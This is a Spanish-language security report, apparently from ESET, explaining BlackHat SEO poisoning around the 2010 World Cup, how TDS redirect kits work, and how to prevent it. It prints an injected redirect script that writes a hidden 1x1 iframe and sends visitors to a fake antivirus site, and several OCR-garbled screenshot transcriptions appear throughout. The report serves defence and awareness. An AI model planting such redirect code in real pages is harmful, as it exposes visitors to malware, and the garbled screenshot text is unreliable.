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Introduccion

Dia a dia millones de personas en todo el mundo utilizan los buscadores més populares y realizan
millones de busquedas a través de Internet intentando encontrar informacion relacionada a una temética
de su interés.

Cuando la informacién buscada es de trascendental importancia a nivel global, como por ejemplo
podria ser el Mundial de Futbol 2010 de Sudafrica, se abre una brecha de posibilidades para los
delincuentes informaticos que utilizan la relevancia de estos acontecimientos para atraer la
atencion de los usuarios y lograr asi que accedan, sin saberlo, a paginas web con contenido
malicioso y fraudulento.

Para lograrlo de forma relativamente rapida, los delincuentes aprovechan los beneficios que
proporcionan los motores de busqueda para poder indexar de forma apropiada el contenido de esas
paginas a través de diferentes metodologias.

Generalmente estos procesos utilizan como “vector de atraccién” el contenido que se indexa en los
buscadores, y que generalmente guarda relacién directa con noticias sobre hechos relevantes como
tragedias, atentados, accidentes, personalidades famosas, catastrofes naturales, entre muchos otros.

El presente documento explica cémo los delincuentes informaticos hacen uso de estas técnicas, cudles
son los canales habitualmente mas explotados y de qué manera es posible prevenir ser victimas de sus
estrategias fraudulentas para evitar ser parte, involuntariamente, de la cadena delictiva que se esconde
detrds de estas actividades.
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Optimizacion de los motores de busquedas

Los buscadores, como Google, Yahoo! o Bing, entre otros, optimizan el resultado de las consultas que
realizan los usuarios, constituyendo una herramienta esencial que permite presentar el contenido
requerido en funcién de los términos empleados para la busqueda. Es decir, mostrar en la pagina del
buscador, llamada SERP - Search Engine Results Page, o que el usuario desea encontrar segun su solicitud.

Para que los buscadores logren “conocer” y destacar el contenido de las paginas web, deben clasificarlas.
Para ello, utilizan un sistema de rastreo denominado spider (arafia), o web crawler, que obtiene
informacion de las paginas visitando cada una de ellas de manera metdédica y automatizada.

Cada buscador tiene su propio spider, y cada uno de ellos posee lo que se conoce como agente de usuario
(user-agent) [1]. Algunos agentes de usuarios de los spiders mas populares son:

e  Googlebot (Google)
¢ Yahoo Slurp (Yahoo!)
*  MSNBot (Bing)

e Scooter (Altavista)

e Slurp (AOL)

e Lycos (Lycos)

Los spiders toman la informacién de las paginas web para asignarle una puntuacion (ranking), para que
aquellos sitios que son mas solicitados o tienen mayor cantidad/calidad de contenido, obtengan un
mejor posicionamiento. Estas técnicas son conocidas bajo el acrénimo de SEO (Search Engines
Optimization en espaiiol, Optimizacion de los motores de busqueda) y conforman una herramienta
imprescindible para las agencias de marketing online o para quien pretende obtener un buen
posicionamiento de su sitio web.

Las técnicas de SEO se emplean para lograr incrementar el tréfico de visitas hacia un sitio web; por lo que
su utilizacién se encuentra regulada dentro de un marco encuadrado en las politicas impuestas por los
propios buscadores, con el objetivo de controlar el uso y evitar el abuso de las metodologias de
optimizacion.
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Partiendo de esta premisa, las técnicas de SEO permitidas son aquellas que respetan las politicas del
buscador.

Las siguientes son algunas de las metodologias de SEO que se consideran buenas practicas:

¢ Enlaces internos (Internal Linking): son todos los enlaces que se encuentran en el sitio web
y que permiten navegar por el mismo de manera cémoda.

* Enlaces reciprocos (Reciprocal Linking): consiste en el intercambio de enlaces con otros
sitios web que poseen contenido similar.

* Creacion de contenidos (Content Creation): busca mantener el sitio web creando
contenido exclusivo y de interés para los visitantes.

¢ Optimizacion del sitio (Site Optimization): se refiere a mantener en el tiempo la calidad del
contenido mostrado en el sitio web.

BlackHat SEO

También conocido como envenenamiento de los motores de bisqueda (SEO Poisoning); las técnicas de
BlackHat SEO (BlackHat Search Engines Optimization) no son aceptadas por los buscadores porque
siempre intentan engafar a los spiders con el objetivo de manipular intencionalmente los resultados de
las busquedas.

El principal objetivo que se esconde detras de estas técnicas es posicionar entre los primeros puestos y
de forma mas rapida determinados sitios web, empleando para ello métodos no aceptados por las
politicas de los buscadores. Por lo tanto, la controversia que existe en torno a estas acciones consiste
precisamente en el uso inadecuado y abusivo de las técnicas de SEO.

A pesar de la existencia de regulaciones, las técnicas de BlackHat SEO fueron perfeccionandose hasta
constituir en la actualidad potenciales peligros para la confidencialidad, integridad y disponibilidad de la
informacion de cualquier usuario, servicio o recurso que necesite de Internet para operar e interactuar
con otras personas.

En consecuencia, ;qué sucede cuando existe un abuso intencional de las técnicas de SEO? y ;qué pasa
cuando este abuso se lleva a cabo buscando comprometer la seguridad de los sistemas de
informacion?
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Las técnicas de BlackHat SEO [2] constituyen un patron altamente explotado por delincuentes
informaticos para propagar amenazas de forma masiva y a gran escala, logrando que los usuarios

ingresen a sitios potencialmente dafinos.

Como se mencion6 anteriormente, estas técnicas suelen ser empleadas con mayor frecuencia cuando se
produce algun evento que cobra interés mundial en muy poco tiempo, como noticias relevantes
relacionadas a personalidades del espectaculo, catastrofes naturales, atentados y hasta eventos
deportivos como es el caso de los mundiales de futbol, entre muchos otros.

Estas noticias son utilizadas como eje central, incluso empleando metodologias de engafio (Ingenieria
Social) [3], para atraer la atenciéon de los usuarios que, con el afan de informarse sobre determinado
evento de interés, utilizan los buscadores mas conocidos para encontrar el contenido relacionado.

Cuando el usuario accede a cualquiera de los enlaces, es dirigido de forma automatica hacia otra pagina
web que posee contenido completamente diferente al solicitado y a través del cual se intenta descargar
algun tipo de cédigo malicioso, presentar una pagina con publicidad o cometer algun tipo de fraude

online como scam y/o ataques de phishing.

Para ejemplificar este modelo de ataque, se expone a continuacién un escenario real donde se realizan
busquedas empleando dos tematicas relacionadas con el Mundial de Futbol de Sudafrica 2010 [4]. En

este caso a través del buscador Google.
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Imagen 1 - SERP de Google mostrando el resultado de las bisquedas: “"World Cup 2010"” (izquierda) y
“México vs Chile 2010 Boletos” (derecha)
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En este segundo caso, se utiliza el buscador de Yahoo! obteniéndose resultados similares a los
proporcionados por Google.
| World Cup 2014 Venus L Mexico Vs Chile 2010 Tickets
] Brazil was declared a World Cup venue in 2014 at a ceremony in Zurich, Switzerland in ] Este 16 de Mayo de 2010 Niplito Te lleva al Partido Mexico Vs Chile Recuerda gue con
October 2007, Matches World Championships will take. ... tu ticket por cada 50000 de Compras y una foto de como. ...
~world+cup+2014-+enus - Cached =iy 3 S0 i Ti=mexico+ustchilet... - Cached
15.300.000 ezl 398,002 It fo
World Cup 2014+ . World Cup 2014 Brazil Stadiums mexico vs chile 2010... -.. . Mexico Vs Chile 2010 Tickets
‘Yahoo Games Black Chicken Wine Stadiums - World Cup - 2014 - Brazil. ... The 2014 Nl”gu”a V‘ENE dESdE 15/05/2010 - MEXICO ws CHILE 4 boletos ESPECIAL BAIO. ...
World Cup was a cause for guarded aptimisr amang real estate. ... Amir Khan Vs Paulie Mahgnagg\ Tickets Mexico Vs Chile 2010 Boletos. ...
L world+cup+2014 +hrazil+stadiums - Cached W b opleo . owm_ | i “wi=mexico+vs+chile+2010+... - Cached
World Cup 2014 Brazil Stadiums I . g Mexico s Chile 2010 Tickets
Brazil's opportunity to host the 2014 World Cup snapped a \Ungalandmg ... World Cup \Watch Mexico vs Chile Live Friendly International soccer match at Estadio Azteca on
Z[IM Brazll Etad\ums Belams has applied for 2014 IIHF World. . Sat 16 Nlay 2010 GMT 13 EIEI Mexico meet South Africa in. ...
o wnrld+cu|1+2l]14+l1ra1|I+stad\ums Ca:hed L eiee. e Co=mexico+vs+chile+2010+ickets - Cached
L . n. World Cup 2014 Tickets gl el Mexico Vs Chile 2010 Boletos
We brlng yuu the latest news for the Brazil World Cup 2014 . fitness is not merely Ahs kanul Tennis Channel Online Mexico Vs Chile 2010 Boletos Chris Lowell. ...
dasired, but necessary for a ticket to South Affca. .. 3 holetos dobles para México s Chile se regalaran por aqui con preguntas. .
o ;" s=world +cup+2014-+ickets - Cached o S rstchile+2010+boletos - Cached

Imagen 2 - SERP de Yahoo! mostrando el resultado de las bisquedas: “World Cup 2014” (izquierda) y
“México vs Chile 2010 Boletos” (derecha)

En ambos casos la estrategia de BlackHat SEO consiste en emplear como “carnada” informacién que
posee cierto atractivo para los usuarios: por un lado la busqueda de informacién general sobre el
Mundial de Fitbol de Sudafrica 2010; y por el otro una bisqueda puntual sobre un supuesto
partido amistoso previo al mundial entre los equipos de dos paises latinoamericanos.

Cabe destacar que independientemente de la tematica de interés empleada, el uso de las estrategias de
BlackHat SEO no se limita a determinado buscador sino que pueden ser canalizadas a través de cualquiera
de ellos. El resultado de estas maniobras representa un potencial peligro para los usuarios que accedan a
cualquiera de esos enlaces, ya que la pagina a la cual son redireccionados podrian derivar en:

¢ Ladescarga directa de algun tipo de cédigo malicioso
*  Péginas web con contenido pornografico utilizadas como cobertura para descargar malware
*  Scam sobre paginas web sobre farmacias en linea

¢ Ataques de phishing, entre otros.

Cabe destacar también que el efecto que logran las técnicas de BlackHat SEO sobre las paginas web
manipuladas por los atacantes, en lo referido al tiempo, es a corto plazo, ya que generalmente no superan
las 24 horas en posicionarse entre los primeros puestos. Incluso, en algunos casos, hay paginas que se
posicionan entre los primeros puestos en menos de una hora.

Sin embargo, como contramedida a esta situacion, los buscadores mejoran constantemente los
algoritmos [5] empleados por lo spiders para detectar este tipo de maniobras, logrando en la mayoria de
los casos dar de baja esos resultados en pocas horas.
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Estrategias BlackHat SEO comunmente empleadas

Las metodologias que a continuacién se exponen no se encuentran contempladas como buenas
précticas para el posicionamiento web segun los buscadores y, por lo tanto, son penalizadas al violar las
normas tipificadas y aceptadas para las practicas de SEO.

A continuacidn se expone algunas de las metodologias de BlackHat SEO comunmente empleadas:

* Abuso de palabras clave (Keyword Stuffing): también llamado Spamming Keywords, consiste
en generar una importante cantidad de palabras clave dentro del contenido de una pagina web
con el objeto de atraer a los spider y catalogar asi esa pagina con un ranking de posicionamiento
alto. En esta estrategia las palabras clave son empleadas para formar frases, ya sea en el titulo de
la pagina o en los comentarios de los articulos.

Esta técnica quizas constituya una de las mas empleadas actualmente por los delincuentes
informaticos para propagar malware. En este sentido, un estudio llevado a cabo por la empresa
Google afirma que el 60% del malware que se propaga a través de Internet emplea como
principal vector de ataque este tipo de técnica. [6]

A continuacién se observa una imagen en la que se emplea la generacién de frases a través de
palabras clave.

Easter buffet detroit area
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Imagen 3 - Ejemplo de abuso de palabras clave formando frases
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¢ Encubrimiento (Cloaking): esta técnica basa sus esfuerzos en mostrar contenido diferente al
que espera visualizar quien realiza una busqueda; de esta manera, cuando el usuario accede a
determinado enlace, el tréfico es redireccionado hacia otra pagina que posee un contenido
completamente diferente al esperado.

Aligual que el abuso de palabras clave, el encubrimiento es ampliamente utilizado por los
delincuentes informaticos.

¢ Texto Oculto (Hidden Text): también conocido como palabras encubiertas, este método
consiste en ocultar de forma parcial o total el contenido de un sitio web configurando las
palabras con el mismo color que posee el fondo de la pagina web.

Esta metodologia también es utilizada a través de etiquetas HTML del tipo noscript o noembed
para que los usuarios no puedan visualizar el texto pero si sean indexados por los spiders.

* Contenido Duplicado (Duplicate Sites): busca alojar el mismo contenido en diferentes sitios
web, o utilizar palabras clave diferentes pero que terminen generando el mismo significado.

Esta técnica es utilizada para promocionar paginas web que descargan determinadas familias de
malware, generalmente del tipo rogue. Un ejemplo concreto lo constituyen aquellos sitios que, a
través de diferentes nombres y dominios, descargan la misma amenaza. [8]

* Black Linkbait: esta técnica busca incrementar la cantidad de visitas a determinada péagina web
generando material erréneo que luego es promocionado y utilizado para generar controversia
entre la comunidad a la cual esta dirigido. Por lo que no es aceptada precisamente porque
escapa a los principios de calidad que se busca contemplar en los sitios web como buena
practica de SEO.

Existen muchas otras estrategias de BlackHat SEO y los delincuentes informaticos constantemente estan
buscando idear nuevas con el objetivo de burlar las exploraciones de los spiders.

En lasimdgenes 1y 2 se aprecia el empleo de dos técnicas de BlackHat SEO: el abuso de palabras clave y
el encubrimiento respectivamente, ya que el usuario llega hasta los enlaces a través de la busqueda de
palabras muy solicitadas relacionadas al Mundial de Futbol 2010 y luego es redireccionado hacia otra
pagina cuyo contenido no es el solicitado, y que ademas es daiino.
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Ciclo de ataques BlackHat SEO

Antes de que se visualice en el buscador los enlaces con la informacién solicitada por el usuario, los
atacantes realizan una serie de actividades con el animo de lograr automatizar el redireccionamiento del
trafico web hacia otras paginas con contenido dafino o fraudulento.

Para lograrlo, utilizan aplicaciones desarrolladas y disefiadas para manipular automaticamente la
redireccion de ese trafico web. Estas aplicaciones son conocidas como SEO Kit, y si bien se trata de
aplicaciones destinadas al marketing online, existe todo un circuito de negocio a través de foros cerrados
y/0 a través de paginas web donde se comercializan este tipo de aplicaciones para ser utilizadas con fines
maliciosos. Comunmente son conocidas bajo el acrénimo TDS (Traffic Direction Script).

La siguiente imagen constituye un ejemplo de una aplicacién web del tipo TDS:

Traffic management scheme
Url for incoming traffic - bt e = mom |
url Today Parameter Place move -
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3 http:/fliedeck com 0 /blackjacks$/ 3 VWA D OOR®
4 hitp:{fmeier.com/ g poster] WA T @@
S http A com/ 32 adware spyware antivirus virus| 5 Vi T E® E0E
& hitp:/fvismeom/ 23 wiagra 8 VAT ®OO®
7 http:dile or.com/ 0 Ioan loans credit investing finances| 7 W/ T ® ®EGE

mortgages refinance

2 hitp: v B ml == 5 "=l BB Bnarameter 167 8 VAT ®OO®

a BC2 OCTaNibHOE Ha YMakc

bty #fwewew .google.com/?g=.. 0 last BE

MEWY EDIT CELETE ADD TO UPTIME BOT |
WASS EDIT
CORY

i — . — |to|10 'I
export MOVE |

Imagen 4 - Interfaz de un paquete TDS ( Traffic Direction Script) donde se visualiza hacia qué paginas web
es redireccionado el trafico (izquierda) cuando accede a determinado enlace (Ur/ for incoming traffic)

Los paquetes TDS generalmente son alojados en servidores vulnerados y son a través de ellos que los
atacantes crean paginas web utilizando técnicas de BlackHat SEO, redireccionando el trafico web
mediante la inyeccidn de un script [7] en las paginas web legitimas alojadas en el servidor vulnerado.

GCEler,
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La préxima imagen muestra uno de estos scripts:
<soript>var otr="http:// antivirus.com/?id=2022svf=caBcf4415&sm=1";
document .write ('<iframe src="http:// S1.html" width="1" height="1"></iframe>");
function goToGoogle () {
if (navigator.appVersion.indexOf ("Mac™)!=-1) window.location="http:// d=5663":
else window.location=otr;

Imagen 5 - Script utilizado para redireccionar automaticamente al usuario luego de hacer clic sobre alguno
de los enlaces mostrador por el buscador

En el servidor vulnerado, el TDS va almacenando los registros con las listas de enlaces formadas a través
de palabras clave que representen las tematicas mas buscadas en determinados momentos, para llevar a
cabo las campanfas de ataques BlackHat SEO. Estas paginas son las que se muestran a través del buscador.

La siguiente imagen muestra un ejemplo de estos registros:

Index of /

i

Eggte5to—agroalimentare—francese.html 07-RApr-2010 22:48 1810
contesto-storico-poetica-pascoli.html 07-RApr-2010 22:48 1734
conti-correnti-kbancari-confronto.html 07-RApr-2010 22:48 1717
conti-correnti-kbancari-dormienti.html 07-RApr-2010 22:48 1878
conti-correnti-di-corrispondenza.html 07-RApr-2010 22:48 1853
contilli-cristina-pellico-silvio.html 07-RApr-2010 22:48 1879
continental-airline-baggage-rule.html 07-RApr-2010 22:48 1834
continental-airline-coupon-codes.html 07-RApr-2010 22:48 1803
continental-airline-phone-number.html 07-RApr-2010 22:48 1874
continental-airlines-credit-card.html 07-RApr-2010 22:48 1861
continental-grand-hotel-tirrenia.html 07-RApr-2010 22:48 1813
continental-pneumatico-industria.html 07-RApr-2010 22:48 1898
continental-pneumatico-invernale.html 07-RApr-2010 22:48 1827
continente-dove-si-trova-lesotho.html 07-RApr-2010 22:48 1872

Imagen 6 - Registro de los enlaces empleados en determinada campafia de BlackHat SEO

Sin embargo, esta no es la pagina que visualizara el usuario, ya que es utilizada como puente para llegar
hasta otra, creada en PHP con nombres aleatorios.

Estos archivos también son generados por el TDS y su funcién es dirigir el trafico web
automaticamente hacia la pagina con contenido malicioso o fraudulento.

Todos los datos almacenados en los registros luego son visualizados de forma ordenada y detallada a
través de un panel estadistico que forma parte del mismo TDS.
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En funcion de lo anteriormente explicado, a continuacidn se presenta un grafico que establece las
diferentes facetas de un ataque BlackHat SEO genérico:

Ciclo de Ataque BlackHat SEOQ
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Imagen 7 - Ciclo de propagacion de malware a través de técnicas BlackHat SEO

Una vez que el atacante configurd el TDS con el script para realizar automaticamente el
redireccionamiento (1), los spiders (que exploran constantemente los sitios web) toman la informacién
que componen las paginas web (palabras clave) y almacenan esa informacidn en su base de datos,
proporcionando un ranking de posicionamiento (2).

Cuando el usuario busca informaciéon de su interés, los motores de busqueda devuelven el resultando
mostrando las paginas web mejor posicionadas (3). En esta instancia, el usuario es direccionado hacia una
pagina con algun tipo de amenaza (4).

(es[=})
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Prevencion de ataques BlackHat SEO

Detectar la presencia de contenido malicioso inyectado en una pagina web no representa un aspecto
trivial y constituye una tarea sumamente ambigua. Sin embargo, es posible considerar ciertos puntos que
permitiran detectar un potencial enlace malicioso.

Generalmente los buscadores catalogan como “sitios peligrosos” aquellos que incluyen contenido
malicioso, mostrando un mensaje de advertencia debajo del resultado de la busqueda. En la siguiente
imagen se observa el emitido por Google.

prsimets com: World Cup 2014 Travel Packages - [ Traducir esta paging |
Este sitio puede dafiar b equipy ifs————
17 Apr 2010 ... Field Of Dreams Cast May 14, 2010 wodd cup 2014 qualfication - wodd cup
2014 travel packages - world cup 2014 brazil tickets - warld ...
' owiorld e 20cup 20201452 0iravei ¥ 2 0packages

sl net World Cup 2014 Packages - [ Traducr sta pagina |

ste sitio puede dafiar tu egui S —
EL T-shirt With Music Actrvated World Cup 2014 Brazil. item#: sku3402  Maunce Strong
Global Warming Purchase World Cup 2010 Tickets, Champions League ...

ad=world%20cup%202014% 20packages

il ptesisgmes com: World Cup 2014 Jobs - [ Traducir esta pagina |
Esle sitio pyeda dafiar tu 4quipe. e

14 May 2010 ... The Latest From The World of Employment . . Brian Vickers Arrasted World
Cup 2014 Brazil Tickats Jeff Probst E'rlng Heroes

world%20cup: 20 4%:200bs

Imagen 8 - Advertencia mostrada por Google en el SERP sobre las paginas que poseen contenido malicioso.

Cuando el usuario hace clic sobre alguno de los enlaces que presentan esta advertencia, aparece una
nueva pdagina, como la siguiente, mostrando un mensaje sobre la peligrosidad de acceder al sitio web.

Advertencia- Si visitas este sitio web, tu equipo puede resultar danado.

Sugerencias:

« Vuelve & la paoina antenor y elige otro resultado
s Realiza otra busqueda para encontrar o gue buscas

Si lo deseas, pusdes acceder a httplf " s=world%20cup%202014%20brazi %20t ckets bajo tu propia responsabilidad. Para
obtener informacidn mas detallada sobre los problemas que delectamos, visita la pagina de diagnostico "MNavegacion sequra” de aste sitio

=
Asesoramiento propercionado por 'L 20 ISEC

Imagen 9 - Advertencia mostrada por Google cuando el usuario intenta acceder a una pagina catalogada con
contenido malicioso.

(esz1}
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Cuando se trata de prevenir este tipo de incidentes de seguridad en ambientes corporativos, es
recomendable bloquear las paginas web maliciosas y/o fraudulentas a través de un filtrado de contenido,
empleando soluciones de seguridad proactivas como ESET Gateway Security [8] que permite filtrar de
forma segura las amenazas que se propagan a través de diferentes protocolos durante el proceso de
ataque. Ademads de proteger los servidores, las contrasefas y todos los recursos con los que cuente para
evitar ser vulnerado.

Ademas, generalmente las comparias poseen un sitio web mediante el cual expanden sus negocios, con
lo cual, una buena préctica de seguridad para prevenir que se aloje material malicioso en el servidor es
controlar periddicamente los archivos y carpetas para detectar cualquier tipo de actividad sospechosa
como carpetas y archivos ocultos.

En ambos casos es necesario mantenerse informado sobre las estrategias de BlackHat SEO habitualmente
empleadas y cuales son sus posibles consecuencias De esta manera se podra controlar ain més dénde se
accede y, en consecuencia, lograr maximizar los niveles de proteccion.

También es sumamente importante contar con la proteccién de una solucién de seguridad antivirus
como ESET NOD32 que permita detectar de forma proactiva los codigos maliciosos que se intenten
descargar desde los sitios web manipulados intencionalmente para la propagaciéon de malware.

Alerta de ESET NOD32 Antivirus

Acceso denegado!

Detalles:

Pagina de Internet:
http: /e

Descripcidn:

El acceso a esta padina de Internet ha sido blogueado por

ESET MOD32 Antivirus. La misma se encuentra en |a lista de sitios con
contenido potencialmente

. eset. com

@ EsET NOD32 Antivirus
Objeto:
http:/) —————
Amenaza:
I5/TrojanDownloader.Pegel.AA Troyano
Informacién:
conexién finalizada

Imagen 10 - Deteccion de script malicioso por parte de ESET NOD32 Antivirus, bloqueando la apertura de la
pagina dafiina

Contemplando estas recomendaciones de prevencién se obtendran mayores niveles de seguridad, tanto
a nivel hogarefio como a nivel corporativo, mejorando la calidad y experiencia en la navegacion.

GCEer)
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Conclusion

Cada dia se llevan a cabo millones de consultas por personas de todo el mundo a través de los motores de
busqueda mas conocidos. Esto constituye una caracteristica que dificilmente cambie a lo largo del tiempo
y por la cual los delincuentes informaticos depositan mayor tiempo en tratar de evadir a través de
técnicas BlackHat SEO las politicas de seguridad impuestas por los buscadores para comprometer la
seguridad de cualquier ambiente de informacidn a través de Internet.

Las campanas de posicionamiento web empleando estas técnicas son cada vez mas comunes como
recurso para propagar todo tipo de amenazas informaticas, tornandose en la actualidad ataques cada vez
mas explotados y divulgados entre la comunidad de delincuentes informaticos.

Esta situacién demuestra que estan empleando mecanismos mas sofisticados, que precisamente
evidencia la necesidad de contar con mecanismos de seguridad también mas sofisticados que permitan
su deteccién temprana.

Al mismo tiempo, marca una tendencia en cuanto a que las estrategias de BlackHat SEO seran empleadas
constantemente para propagar diferentes amenazas sin importar el idioma o regién en la que se busque
la informacion, porque se encuentran directamente relacionadas a los acontecimientos que se vayan
generando con el correr del tiempo.

En consecuencia, la prevencion en todos sus niveles es fundamental. Es decir, existen alternativas
disefadas para proteger la informacién de ataques provenientes de Internet, como las soluciones
desarrolladas por ESET, que junto a los recursos educativos que generan prevenciéon (como el presente
informe) conforman una herramienta en potencia para prevenir este tipo de ataques.

GCEer)
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